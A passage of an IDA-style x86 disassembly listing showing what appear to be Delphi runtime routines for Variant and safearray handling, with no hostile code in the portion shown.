		mov	eax, ds:off_4000DA70
		call	sub_4000B030
		call	sub_400042E4
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DF5B:				; CODE XREF: sub_4000DDD4+84j
		lea	edx, [ebp+var_1C]
		mov	eax, off_4001AF44
		call	sub_400062F0
		mov	ecx, [ebp+var_1C]
		mov	dl, 1
		mov	eax, ds:off_4000D810
		call	sub_4000B030
		call	sub_400042E4
		jmp	short loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DF7E:				; CODE XREF: sub_4000DDD4+48j
		lea	edx, [ebp+var_20]
		mov	eax, off_4001AEFC
		call	sub_400062F0
		mov	ecx, [ebp+var_20]
		mov	dl, 1
		mov	eax, ds:off_4000DAD8
		call	sub_4000B030
		call	sub_400042E4
		jmp	short loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DFA1:				; CODE XREF: sub_4000DDD4+4Ej
					; sub_4000DDD4+5Dj ...
		mov	eax, off_4001B09C
		mov	eax, [eax]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], 0Bh
		mov	[ebp+var_30], ebx
		mov	[ebp+var_2C], 0
		lea	edx, [ebp+var_3C]
		mov	eax, ebx
		call	sub_4000A81C
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], 0Bh
		lea	eax, [ebp+var_38]
		push	eax
		push	2
		lea	edx, [ebp+var_40]
		mov	eax, off_4001AF98
		call	sub_400062F0
		mov	ecx, [ebp+var_40]
		mov	dl, 1
		mov	eax, ds:off_400075AC
		call	sub_4000B06C
		call	sub_400042E4


loc_4000DFF1:				; CODE XREF: sub_4000DDD4+94j
					; sub_4000DDD4+BAj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000E020


loc_4000DFFE:				; CODE XREF: sub_4000DDD4+24Aj
		lea	eax, [ebp+var_40]
		mov	edx, 2
		call	sub_400048A8
		lea	eax, [ebp+var_20]
		mov	edx, 8
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_4000E019:				; DATA XREF: sub_4000DDD4+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000DFFE
; ---------------------------------------------------------------------------


loc_4000E020:				; CODE XREF: sub_4000DDD4+244j
					; DATA XREF: sub_4000DDD4+225o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000DDD4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000E028	proc near		; CODE XREF: sub_4000E1E0+23p
					; sub_4000E1E0+B4p ...
		test	eax, eax
		jz	short locret_4000E031
		call	sub_4000DDD4

locret_4000E031:			; CODE XREF: sub_4000E028+2j
		retn
sub_4000E028	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000E034	proc near		; CODE XREF: sub_4000E068+23p
					; sub_4000E068+48p ...
		push	ebx
		test	eax, eax
		jz	short loc_4000E065
		mov	ebx, eax
		sub	ebx, 80020005h
		jz	short loc_4000E04A
		sub	ebx, 5
		jz	short loc_4000E055
		jmp	short loc_4000E060
; ---------------------------------------------------------------------------


loc_4000E04A:				; CODE XREF: sub_4000E034+Dj
		mov	eax, edx
		mov	edx, ecx
		call	sub_4000DBF4
		jmp	short loc_4000E065
; ---------------------------------------------------------------------------


loc_4000E055:				; CODE XREF: sub_4000E034+12j
		mov	eax, edx
		mov	edx, ecx
		call	sub_4000DCE4
		jmp	short loc_4000E065
; ---------------------------------------------------------------------------


loc_4000E060:				; CODE XREF: sub_4000E034+14j
		call	sub_4000DDD4


loc_4000E065:				; CODE XREF: sub_4000E034+3j
					; sub_4000E034+1Fj ...
		pop	ebx
		retn
sub_4000E034	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000E068	proc near		; CODE XREF: sub_4000ED90+430p
					; sub_4000F1E0+9Dp ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		call	sub_40002CA4
		mov	edx, ds:off_400070C0
		call	sub_40003E74
		test	al, al
		jz	short loc_4000E093
		mov	ecx, esi
		mov	edx, ebx
		mov	eax, 8002000Ah
		call	sub_4000E034
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4000E093:				; CODE XREF: sub_4000E068+18j
		call	sub_40002CA4
		mov	edx, ds:off_4000727C
		call	sub_40003E74
		test	al, al
		jz	short loc_4000E0B7
		mov	ecx, esi
		mov	edx, ebx
		mov	eax, 8002000Ah
		call	sub_4000E034
		jmp	short loc_4000E0E9
; ---------------------------------------------------------------------------


loc_4000E0B7:				; CODE XREF: sub_4000E068+3Dj
		call	sub_40002CA4
		mov	edx, ds:off_400073E4
		call	sub_40003E74
		test	al, al
		jz	short loc_4000E0DB
		mov	ecx, esi
		mov	edx, ebx
		mov	eax, 80020005h
		call	sub_4000E034
		jmp	short loc_4000E0E9
; ---------------------------------------------------------------------------


loc_4000E0DB:				; CODE XREF: sub_4000E068+61j
		call	sub_40002CC4
		mov	edx, eax
		mov	eax, edx
		call	sub_400042E4


loc_4000E0E9:				; CODE XREF: sub_4000E068+4Dj
					; sub_4000E068+71j
		pop	esi
		pop	ebx
		retn
sub_4000E068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E0EC	proc near		; CODE XREF: sub_40012D28p
					; DATA XREF: sub_40019144+24o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		xor	eax, eax
		push	ebp
		push	offset loc_4000E136
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, off_4001AEBC
		call	sub_400062F0
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, ds:off_4000DB3C
		call	sub_4000B030
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000E13D


loc_4000E12D:				; CODE XREF: sub_4000E0EC+4Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000E136:				; DATA XREF: sub_4000E0EC+8o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000E12D
; ---------------------------------------------------------------------------


loc_4000E13D:				; CODE XREF: sub_4000E0EC+49j
					; DATA XREF: sub_4000E0EC+3Co
		pop	ecx
		pop	ebp
		retn
sub_4000E0EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000E140	proc near		; CODE XREF: sub_4000E9CC+C6p
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_4000E3D8
		mov	word ptr [ebx],	1
		pop	ebx
		retn
sub_4000E140	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E154	proc near		; CODE XREF: sub_4000E1E0+123p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		add	ecx, 0FFFFFD00h


loc_4000E161:				; CODE XREF: sub_4000E154+28j
		mov	edx, [ecx+eax*8+4]
		add	edx, [ecx+eax*8]
		mov	ebx, [ebp+arg_0]
		cmp	edx, [ebx+eax*4-100h]
		setnle	dl
		dec	eax
		test	dl, dl
		jz	short loc_4000E17E
		test	eax, eax
		jge	short loc_4000E161


loc_4000E17E:				; CODE XREF: sub_4000E154+24j
		mov	eax, edx
		pop	ebx
		pop	ebp
		retn
sub_4000E154	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E184	proc near		; CODE XREF: sub_4000E184+4Dp
					; sub_4000E1E0+15Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	dl, 1
		mov	ecx, [ebp+arg_0]
		inc	dword ptr [ecx+eax*4-100h]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+eax*8-2FCh]
		mov	ebx, ecx
		mov	esi, [ebp+arg_0]
		add	ebx, [esi+eax*8-300h]
		mov	esi, [ebp+arg_0]
		cmp	ebx, [esi+eax*4-100h]
		jg	short loc_4000E1D9
		test	eax, eax
		jnz	short loc_4000E1BF
		xor	edx, edx
		jmp	short loc_4000E1D9
; ---------------------------------------------------------------------------


loc_4000E1BF:				; CODE XREF: sub_4000E184+35j
		mov	edx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	[edx+eax*4-100h], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		dec	eax
		call	sub_4000E184
		pop	ecx
		mov	edx, eax


loc_4000E1D9:				; CODE XREF: sub_4000E184+31j
					; sub_4000E184+39j
		mov	eax, edx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4000E184	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E1E0	proc near		; CODE XREF: sub_4000E35C+4Bp

var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= byte ptr -300h
var_2FC		= byte ptr -2FCh
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFCE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_304]
		test	byte ptr [eax+1], 20h
		jnz	short loc_4000E208
		mov	eax, 80070057h
		call	sub_4000E028


loc_4000E208:				; CODE XREF: sub_4000E1E0+1Cj
		mov	eax, [ebp+var_304]
		movzx	eax, word ptr [eax]
		mov	edx, eax
		and	dx, 0FFFh
		cmp	dx, 0Ch
		jnz	loc_4000E344
		mov	edx, [ebp+var_304]
		test	ah, 40h
		jz	short loc_4000E240
		mov	eax, [ebp+var_304]
		mov	eax, [eax+8]
		mov	eax, [eax]
		mov	[ebp+var_308], eax
		jmp	short loc_4000E24F
; ---------------------------------------------------------------------------


loc_4000E240:				; CODE XREF: sub_4000E1E0+4Bj
		mov	eax, [ebp+var_304]
		mov	eax, [eax+8]
		mov	[ebp+var_308], eax


loc_4000E24F:				; CODE XREF: sub_4000E1E0+5Ej
		mov	eax, [ebp+var_308]
		movzx	eax, word ptr [eax]
		mov	[ebp+var_310], eax
		mov	ebx, [ebp+var_310]
		dec	ebx
		test	ebx, ebx
		jl	short loc_4000E2D4
		inc	ebx
		xor	edi, edi
		lea	esi, [ebp+var_300]


loc_4000E272:				; CODE XREF: sub_4000E1E0+F2j
		mov	eax, esi
		mov	[ebp+var_318], eax
		mov	eax, [ebp+var_318]
		add	eax, 4
		push	eax
		lea	eax, [edi+1]
		push	eax
		mov	eax, [ebp+var_308]
		push	eax
		call	sub_4000D248
		call	sub_4000E028
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [edi+1]
		push	eax
		mov	eax, [ebp+var_308]
		push	eax
		call	sub_4000D250
		call	sub_4000E028
		mov	eax, [ebp+var_318]
		mov	edx, [ebp+var_30C]
		sub	edx, [eax+4]
		inc	edx
		mov	eax, [ebp+var_318]
		mov	[eax], edx
		inc	edi
		add	esi, 8
		dec	ebx
		jnz	short loc_4000E272


loc_4000E2D4:				; CODE XREF: sub_4000E1E0+87j
		mov	ebx, [ebp+var_310]
		dec	ebx
		test	ebx, ebx
		jl	short loc_4000E2F9
		inc	ebx
		lea	eax, [ebp+var_2FC]
		lea	edx, [ebp+var_100]


loc_4000E2EC:				; CODE XREF: sub_4000E1E0+117j
		mov	ecx, [eax]
		mov	[edx], ecx
		add	edx, 4
		add	eax, 8
		dec	ebx
		jnz	short loc_4000E2EC


loc_4000E2F9:				; CODE XREF: sub_4000E1E0+FDj
					; sub_4000E1E0+162j
		push	ebp
		mov	ebx, [ebp+var_310]
		dec	ebx
		mov	eax, ebx
		call	sub_4000E154
		pop	ecx
		test	al, al
		jz	short loc_4000E337
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		mov	eax, [ebp+var_308]
		push	eax
		call	sub_4000D258
		call	sub_4000E028
		mov	eax, [ebp+var_314]
		call	sub_4000E3D8


loc_4000E337:				; CODE XREF: sub_4000E1E0+12Bj
		push	ebp
		mov	eax, ebx
		call	sub_4000E184
		pop	ecx
		test	al, al
		jnz	short loc_4000E2F9


loc_4000E344:				; CODE XREF: sub_4000E1E0+3Cj
		mov	eax, [ebp+var_304]
		push	eax
		call	sub_4000CDE0
		call	sub_4000E028
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000E1E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000E35C	proc near		; CODE XREF: sub_4000E3D8:loc_4000E3E5p
					; sub_4000E654+11p ...

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, eax
		movzx	esi, word ptr [ebx]
		cmp	si, 14h
		jnb	short loc_4000E377
		push	ebx
		call	sub_4000CDE0
		call	sub_4000E028
		jmp	short loc_4000E3D3
; ---------------------------------------------------------------------------


loc_4000E377:				; CODE XREF: sub_4000E35C+Cj
		cmp	si, 100h
		jnz	short loc_4000E38D
		mov	word ptr [ebx],	0
		lea	eax, [ebx+8]
		call	sub_40004884
		jmp	short loc_4000E3D3
; ---------------------------------------------------------------------------


loc_4000E38D:				; CODE XREF: sub_4000E35C+20j
		cmp	si, 101h
		jnz	short loc_4000E39E
		mov	eax, ebx
		call	ds:off_4001F298
		jmp	short loc_4000E3D3
; ---------------------------------------------------------------------------


loc_4000E39E:				; CODE XREF: sub_4000E35C+36j
		test	si, 2000h
		jz	short loc_4000E3AE
		mov	eax, ebx
		call	sub_4000E1E0
		jmp	short loc_4000E3D3
; ---------------------------------------------------------------------------


loc_4000E3AE:				; CODE XREF: sub_4000E35C+47j
		mov	edx, esp
		mov	eax, esi
		call	sub_40012D98
		test	al, al
		jz	short loc_4000E3C7
		mov	edx, ebx
		mov	eax, [esp+0Ch+var_C]
		mov	ecx, [eax]
		call	dword ptr [ecx+24h]
		jmp	short loc_4000E3D3
; ---------------------------------------------------------------------------


loc_4000E3C7:				; CODE XREF: sub_4000E35C+5Dj
		push	ebx
		call	sub_4000CDE0
		push	ebx
		call	sub_4000CDD8


loc_4000E3D3:				; CODE XREF: sub_4000E35C+19j
					; sub_4000E35C+2Fj ...
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4000E35C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000E3D8	proc near		; CODE XREF: sub_4000E140+5p
					; sub_4000E1E0+152p ...
		test	word ptr [eax],	0BFE8h
		jnz	short loc_4000E3E5
		mov	word ptr [eax],	0
		retn
; ---------------------------------------------------------------------------


loc_4000E3E5:				; CODE XREF: sub_4000E3D8+5j
		call	sub_4000E35C
		retn
sub_4000E3D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000E3EC	proc near		; CODE XREF: sub_400052FC+9p
					; sub_40012E54+2Dp
					; DATA XREF: ...
		push	eax
		call	sub_4000E3D8
		pop	eax
		retn
sub_4000E3EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E3F4	proc near		; CODE XREF: sub_4000E480+14Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		add	ecx, 0FFFFFD00h


loc_4000E401:				; CODE XREF: sub_4000E3F4+28j
		mov	edx, [ecx+eax*8+4]
		add	edx, [ecx+eax*8]
		mov	ebx, [ebp+arg_0]
		cmp	edx, [ebx+eax*4-100h]
		setnle	dl
		dec	eax
		test	dl, dl
		jz	short loc_4000E41E
		test	eax, eax
		jge	short loc_4000E401


loc_4000E41E:				; CODE XREF: sub_4000E3F4+24j
		mov	eax, edx
		pop	ebx
		pop	ebp
		retn
sub_4000E3F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E424	proc near		; CODE XREF: sub_4000E424+4Dp
					; sub_4000E480+1A5p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	dl, 1
		mov	ecx, [ebp+arg_0]
		inc	dword ptr [ecx+eax*4-100h]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+eax*8-2FCh]
		mov	ebx, ecx
		mov	esi, [ebp+arg_0]
		add	ebx, [esi+eax*8-300h]
		mov	esi, [ebp+arg_0]
		cmp	ebx, [esi+eax*4-100h]
		jg	short loc_4000E479
		test	eax, eax
		jnz	short loc_4000E45F
		xor	edx, edx
		jmp	short loc_4000E479
; ---------------------------------------------------------------------------


loc_4000E45F:				; CODE XREF: sub_4000E424+35j
		mov	edx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	[edx+eax*4-100h], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		dec	eax
		call	sub_4000E424
		pop	ecx
		mov	edx, eax


loc_4000E479:				; CODE XREF: sub_4000E424+31j
					; sub_4000E424+39j
		mov	eax, edx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4000E424	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E480	proc near		; CODE XREF: sub_4000E654+75p

var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= byte ptr -300h
var_2FC		= byte ptr -2FCh
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFCE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_308], ecx
		mov	ebx, edx
		mov	[ebp+var_304], eax
		test	byte ptr [ebx+1], 20h
		jnz	short loc_4000E4AA
		mov	eax, 80070057h
		call	sub_4000E028


loc_4000E4AA:				; CODE XREF: sub_4000E480+1Ej
		movzx	eax, word ptr [ebx]
		mov	edx, eax
		and	dx, 0FFFh
		cmp	dx, 0Ch
		jnz	loc_4000E631
		test	ah, 40h
		jz	short loc_4000E4D0
		mov	eax, [ebx+8]
		mov	eax, [eax]
		mov	[ebp+var_314], eax
		jmp	short loc_4000E4D9
; ---------------------------------------------------------------------------


loc_4000E4D0:				; CODE XREF: sub_4000E480+41j
		mov	eax, [ebx+8]
		mov	[ebp+var_314], eax


loc_4000E4D9:				; CODE XREF: sub_4000E480+4Ej
		mov	eax, [ebp+var_314]
		movzx	eax, word ptr [eax]
		mov	[ebp+var_310], eax
		mov	ebx, [ebp+var_310]
		dec	ebx
		test	ebx, ebx
		jl	short loc_4000E55E
		inc	ebx
		xor	edi, edi
		lea	esi, [ebp+var_300]


loc_4000E4FC:				; CODE XREF: sub_4000E480+DCj
		mov	eax, esi
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_320]
		add	eax, 4
		push	eax
		lea	eax, [edi+1]
		push	eax
		mov	eax, [ebp+var_314]
		push	eax
		call	sub_4000D248
		call	sub_4000E028
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [edi+1]
		push	eax
		mov	eax, [ebp+var_314]
		push	eax
		call	sub_4000D250
		call	sub_4000E028
		mov	eax, [ebp+var_320]
		mov	edx, [ebp+var_30C]
		sub	edx, [eax+4]
		inc	edx
		mov	eax, [ebp+var_320]
		mov	[eax], edx
		inc	edi
		add	esi, 8
		dec	ebx
		jnz	short loc_4000E4FC


loc_4000E55E:				; CODE XREF: sub_4000E480+71j
		lea	eax, [ebp+var_300]
		push	eax
		mov	eax, [ebp+var_310]
		push	eax
		push	0Ch
		call	sub_4000D240
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4000E57E
		call	sub_4000DD80


loc_4000E57E:				; CODE XREF: sub_4000E480+F7j
		mov	eax, [ebp+var_304]
		call	sub_4000E3D8
		mov	eax, [ebp+var_304]
		mov	word ptr [eax],	200Ch
		mov	eax, [ebp+var_304]
		mov	[eax+8], esi
		mov	ebx, [ebp+var_310]
		dec	ebx
		test	ebx, ebx
		jl	short loc_4000E5C2
		inc	ebx
		lea	eax, [ebp+var_2FC]
		lea	edx, [ebp+var_100]


loc_4000E5B5:				; CODE XREF: sub_4000E480+140j
		mov	ecx, [eax]
		mov	[edx], ecx
		add	edx, 4
		add	eax, 8
		dec	ebx
		jnz	short loc_4000E5B5


loc_4000E5C2:				; CODE XREF: sub_4000E480+126j
					; sub_4000E480+1ADj
		push	ebp
		mov	ebx, [ebp+var_310]
		dec	ebx
		mov	eax, ebx
		call	sub_4000E3F4
		pop	ecx
		test	al, al
		jz	short loc_4000E622
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		mov	eax, [ebp+var_314]
		push	eax
		call	sub_4000D258
		call	sub_4000E028
		lea	eax, [ebp+var_31C]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		push	esi
		call	sub_4000D258
		call	sub_4000E028
		mov	eax, [ebp+var_318]
		mov	edx, eax
		mov	eax, [ebp+var_31C]
		call	[ebp+var_308]


loc_4000E622:				; CODE XREF: sub_4000E480+154j
		push	ebp
		mov	eax, ebx
		call	sub_4000E424
		pop	ecx
		test	al, al
		jnz	short loc_4000E5C2
		jmp	short loc_4000E643
; ---------------------------------------------------------------------------


loc_4000E631:				; CODE XREF: sub_4000E480+38j
		push	ebx
		mov	eax, [ebp+var_304]
		push	eax
		call	sub_4000CDE8
		call	sub_4000E028


loc_4000E643:				; CODE XREF: sub_4000E480+1AFj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000E480	endp

; ---------------------------------------------------------------------------
		align 4


loc_4000E64C:				; DATA XREF: sub_4000E654+6Co
		call	sub_4000E700
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000E654	proc near		; CODE XREF: sub_4000E700+3Bp

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_4000E66A
		mov	eax, ebx
		call	sub_4000E35C


loc_4000E66A:				; CODE XREF: sub_4000E654+Dj
		movzx	edi, word ptr [esi]
		cmp	di, 14h
		jnb	short loc_4000E681
		push	esi
		push	ebx
		call	sub_4000CDE8
		call	sub_4000E028
		jmp	short loc_4000E6FA
; ---------------------------------------------------------------------------


loc_4000E681:				; CODE XREF: sub_4000E654+1Dj
		cmp	di, 100h
		jnz	short loc_4000E69F
		mov	word ptr [ebx],	100h
		xor	eax, eax
		mov	[ebx+8], eax
		lea	eax, [ebx+8]
		mov	edx, [esi+8]
		call	sub_400048D8
		jmp	short loc_4000E6FA
; ---------------------------------------------------------------------------


loc_4000E69F:				; CODE XREF: sub_4000E654+32j
		cmp	di, 101h
		jnz	short loc_4000E6B9
		mov	[ebx], di
		mov	eax, [esi+8]
		mov	[ebx+8], eax
		mov	eax, ebx
		call	ds:off_4001F2A0
		jmp	short loc_4000E6FA
; ---------------------------------------------------------------------------


loc_4000E6B9:				; CODE XREF: sub_4000E654+50j
		test	di, 2000h
		jz	short loc_4000E6D0
		mov	ecx, offset loc_4000E64C
		mov	edx, esi
		mov	eax, ebx
		call	sub_4000E480
		jmp	short loc_4000E6FA
; ---------------------------------------------------------------------------


loc_4000E6D0:				; CODE XREF: sub_4000E654+6Aj
		mov	edx, esp
		mov	eax, edi
		call	sub_40012D98
		test	al, al
		jz	short loc_4000E6EE
		push	0
		mov	ecx, esi
		mov	edx, ebx
		mov	eax, [esp+14h+var_10]
		mov	ebx, [eax]
		call	dword ptr [ebx+28h]
		jmp	short loc_4000E6FA
; ---------------------------------------------------------------------------


loc_4000E6EE:				; CODE XREF: sub_4000E654+87j
		push	esi
		push	ebx
		call	sub_4000CDE8
		call	sub_4000E028


loc_4000E6FA:				; CODE XREF: sub_4000E654+2Bj
					; sub_4000E654+49j ...
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000E654	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000E700	proc near		; CODE XREF: sub_4000540C+9p
					; .text:loc_4000E64Cp ...
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4000E740
		test	word ptr [ebx],	0BFE8h
		jnz	short loc_4000E737
		test	word ptr [esi],	0BFE8h
		jz	short loc_4000E71F
		mov	eax, esi
		call	sub_4000E35C


loc_4000E71F:				; CODE XREF: sub_4000E700+16j
		mov	eax, [ebx]
		mov	[esi], eax
		mov	eax, [ebx+4]
		mov	[esi+4], eax
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		mov	eax, [ebx+0Ch]
		mov	[esi+0Ch], eax
		jmp	short loc_4000E740
; ---------------------------------------------------------------------------


loc_4000E737:				; CODE XREF: sub_4000E700+Fj
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000E654


loc_4000E740:				; CODE XREF: sub_4000E700+8j
					; sub_4000E700+35j
		pop	esi
		pop	ebx
		retn
sub_4000E700	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E744	proc near		; CODE XREF: sub_4000E960+1Bp

var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_4000E7A0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, esi
		lea	eax, [ebp+var_10]
		call	sub_4000E700
		lea	eax, [ebp+var_10]
		call	ds:off_4001F29C
		movzx	ecx, di
		lea	edx, [ebp+var_10]
		mov	eax, ebx
		call	sub_4000E9CC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000E7A7


loc_4000E797:				; CODE XREF: sub_4000E744+61j
		lea	eax, [ebp+var_10]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_4000E7A0:				; DATA XREF: sub_4000E744+1Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000E797
; ---------------------------------------------------------------------------


loc_4000E7A7:				; CODE XREF: sub_4000E744+5Bj
					; DATA XREF: sub_4000E744+4Eo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000E744	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E7B0	proc near		; CODE XREF: sub_4000E9CC+166p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000E7EE
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		call	sub_40011DFC
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		call	sub_40012728
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000E7F5


loc_4000E7E5:				; CODE XREF: sub_4000E7B0+43j
		lea	eax, [ebp+var_4]
		call	sub_40005008
		retn
; ---------------------------------------------------------------------------


loc_4000E7EE:				; DATA XREF: sub_4000E7B0+Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000E7E5
; ---------------------------------------------------------------------------


loc_4000E7F5:				; CODE XREF: sub_4000E7B0+3Dj
					; DATA XREF: sub_4000E7B0+30o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000E7B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E7FC	proc near		; CODE XREF: sub_4000E9CC+20Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000E83A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		call	sub_400116DC
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		call	sub_400126FC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000E841


loc_4000E831:				; CODE XREF: sub_4000E7FC+43j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000E83A:				; DATA XREF: sub_4000E7FC+Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000E831
; ---------------------------------------------------------------------------


loc_4000E841:				; CODE XREF: sub_4000E7FC+3Dj
					; DATA XREF: sub_4000E7FC+30o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000E7FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000E848	proc near		; CODE XREF: sub_4000E9CC+1E6p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000E886
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		call	sub_40012494
		mov	eax, ebx
